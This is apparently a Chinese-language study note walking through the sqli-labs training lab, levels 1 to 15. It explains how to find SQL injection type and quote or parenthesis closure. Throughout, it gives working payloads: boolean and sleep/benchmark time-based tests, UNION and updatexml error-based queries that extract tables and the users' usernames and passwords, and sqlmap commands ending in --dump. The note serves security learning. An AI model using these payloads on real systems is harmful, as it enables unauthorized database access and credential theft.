SQL注入第一步:判断注入类型与闭合方式指南
这几关,让我对第一步判断注入类型这块知识感觉有些模糊,及时巩固
1.异常字符测试(触发错误)
'
"
\
2.布尔逻辑测试(检测盲注)
测试Payload |
预期结果(存在漏洞时) |
推断的闭合方式 |
|
页面正常显示 |
数字型(无闭合) |
|
页面正常显示 |
单引号闭合 |
|
页面正常显示 |
双引号闭合 |
|
页面正常显示 |
单引号+括号闭合 |
|
页面正常显示 |
双引号+括号嵌套 |
|
页面正常(如果单引号正确) |
单引号闭合 |
|
页面正常 |
单引号+括号闭合 |
数字型注入
?id=1 and 1=1 正常返回数据
?id=1 and 1=2 返回空
字符型注入
?id=1' and '1'='1 正常返回数据
?id=1' and '1'='2 返回空
3.时间延迟测试(确认时间盲注)
?id=1 and sleep(5)--+
?id=1' and sleep(5)--+
?id=1" and sleep(5)--+
4.系统步骤
先测试无注释版本-->测试带注释版本-->括号验证-->结合时间盲注
5.sqli-labs实例
第1关
?id=1' 报错,判断是否存在sql注入
?id=1' and '1'='1 正常返回数据
?id=1' and '1'='2 返回空,判断是字符型注入'
?id=1' and 1=1--+ 正常返回数据,确定是字符型注入'
?id=1' and sleep(5)--+ 延迟5s返回空,判断存在时间盲注
第2关
?id=1' 报错,判断是否存在sql注入
?id=1' and '1'='1 报错
?id=1 and 1=1 正常返回数据
?id=1 and 1=2 返回空,判断是数字型注入
?id=1 and 1=1--+ 返回空,确定是数字型注入
?id=1 and sleep(5)--+ 延迟5s返回空,判断存在时间盲注
第3关
?id=1' 报错,判断是否存在sql注入
?id=1' and '1'='1 正常返回数据
?id=1' and '1'='2 返回空,判断是字符型注入'
?id=1' and 1=1--+ 报错,不是'
?id=1') and 1=1--+ 正常返回数据
?id=1') and 1=2--+ 返回空,确定是字符型注入')
?id=1') and sleep(5)--+ 延迟5s返回空,判断存在时间盲注
第4关
?id=1' 正常返回数据
?id=1" 报错,判断是否存在sql注入
?id=1" and "1"="1 正常返回数据
?id=1" and "1"="2 返回空,判断是字符型注入"
?id=1" and 1=1--+ 报错,不是"
?id=1") and 1=1--+ 正常返回数据
?id=1") and 1=2--+ 返回空,确定是字符型注入")
?id=1") and sleep(5)--+ 延迟5s返回空,判断存在时间盲注
第7关
?id=1' 报错,判断是否存在sql注入
?id=1' and '1'='1 正常返回数据
?id=1' and '1'='2 返回空,判断是字符型注入'
?id=1') and 1=1--+ 报错,不是')
?id=1')) and 1=1--+ 正常返回数据
?id=1')) and 1=2--+ 返回空,确定是字符型注入'))
?id=1')) and sleep(5)--+ 延迟5s返回报错,判断存在时间盲注
第10关
运用前面几步,正常反馈都是You are in...........
?id=1' and sleep(5)--+ 正常反馈
?id=1" and sleep(5)--+ 延迟5s反馈,确定字符型注入"
5.11.第十一关 post联合查询
5.11.1手动注入
(1)判断注入类型
uname=&passwd=' or 1=1--+ 正常回显Dumb:Dumb
uname=&passwd=' or 1=2--+ 返回空
字符型注入
(2)判断字段数
uname=&passwd=' order by 2--+ 返回空
uname=&passwd=' order by 3--+ 报错unknown column '3' in 'order clause'
(3)判断数据库类型
uname=&passwd=' and updatexml(7,concat(0x7e,version()),8)--+ 回显XPATH syntax error:'~5.7.26'
(4)查询数据库名
uname=&passwd=' union select 6,database()--+
(5)查询表名
uname=&passwd=' union select 6,group_concat(table_name) from information_schema.tables where table_schema='security'--+
(6)查询字段名
uname=&passwd=' union select 6,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
(7)查询账号密码
uname=&passwd=' union select 1,group_concat(id,0x3a,username,0x7e,password) from users--+
5.11.2sqlmap自动注入
(1)抓http头
firefox foxyproxy+burpsuite抓取post http头
POST /sqli-labs/Less-11/ HTTP/1.1
Host: 192.168.1.64
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Origin: http://192.168.1.64
Connection: keep-alive
Referer: http://192.168.1.64/sqli-labs/Less-11/
Upgrade-Insecure-Requests: 1
Priority: u=0, i
uname=&passwd=&submit=Submit
(2)跑指令
vi sql.txt
sqlmap -r sql.txt -batch --dbs
sqlmap -r sql.txt -batch -D security --tables
sqlmap -r sql.txt -batch -D security -T users --columns
sqlmap -r sql.txt -batch -D security -T users --dump
5.12.第十二关 post联合查询
字符型注入闭合方式"),其他不变,与第十一关相同
uname=&passwd=") or 1=1--+
5.13.第十三关 post报错注入
5.13.1手动注入
方法和get报错注入差不多,就是操作都在burpsuite的repeater上
(1)判断注入类型
uname=&passwd=' or 1=1--+
uname=&passwd=') or 1=1--+
(2)判断字段数
uname=&passwd=') order by 2--+ 返回空
uname=&passwd=') order by 3--+ 报错
(3)判断数据库类型
uname=&passwd=') and updatexml(6,concat(0x3a,version()),8)--+
(4)判断回显位
uname=&passwd=') union select 7,database()--+ 返回空
无回显,尝试报错注入
(5)查询数据库名
uname=&passwd=') and updatexml(7,concat(0x3a,(select database())),9)--+
(6)查询表名
uname=&passwd=') and updatexml(7,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema='security')),9)--+
(7)查询字段名
uname=&passwd=') and updatexml(7,concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),9)--+
(8)查询账号密码
uname=&passwd=') and updatexml(7,concat(0x3a,(select group_concat(id,0x3a,username,0x7e,password) from users)),9)--+
报错显示不全
username第1个数据
uname=&passwd=') and updatexml(7,concat(0x3a,(select username from users limit 0,1)),9)--+
password第1个数据
uname=&passwd=') and updatexml(7,concat(0x3a,(select password from users limit 0,1)),9)--+
username第8个数据
uname=&passwd=') and updatexml(7,concat(0x3a,(select username from users limit 7,1)),9)--+
password第8个数据
uname=&passwd=') and updatexml(7,concat(0x3a,(select password from users limit 7,1)),9)--+
一个个报错显现,能够显现完整
5.13.2.sqlmap自动注入
同第十一、第十二关,使用sqlmap -r sql.txt
5.14.第十四关 post报错注入
闭合方式",其他与第十三关相同
5.15.第十五关 post布尔盲注
5.15.1手动注入
(1)判断注入类型
' " \ 登录失败
布尔逻辑测试 登录失败
时间延迟测试
uname=&passwd=' or if(1=1, sleep(3), 0)--+&submit=Submit
1=1:总是为真(True)
sleep(3):条件为真时的操作
0:条件为假时的返回值(但永远不会执行到这里)
uname=&passwd=' or benchmark(3000000, md5('test'))--+&submit=Submit
字符型注入,闭合形式为'
选择 OR
或 AND
的本质是控制查询返回结果集的能力:
- •用
OR
强行改变结果集 → 适合认证类注入 - •用
AND
追加条件 → 适合数据查询类注入
(2)猜解数据库名长度
uname=&passwd=' or length(database())=8--+
后面和get布尔盲注相同,不再赘述
5.15.2sqlmap自动注入
同第11-13关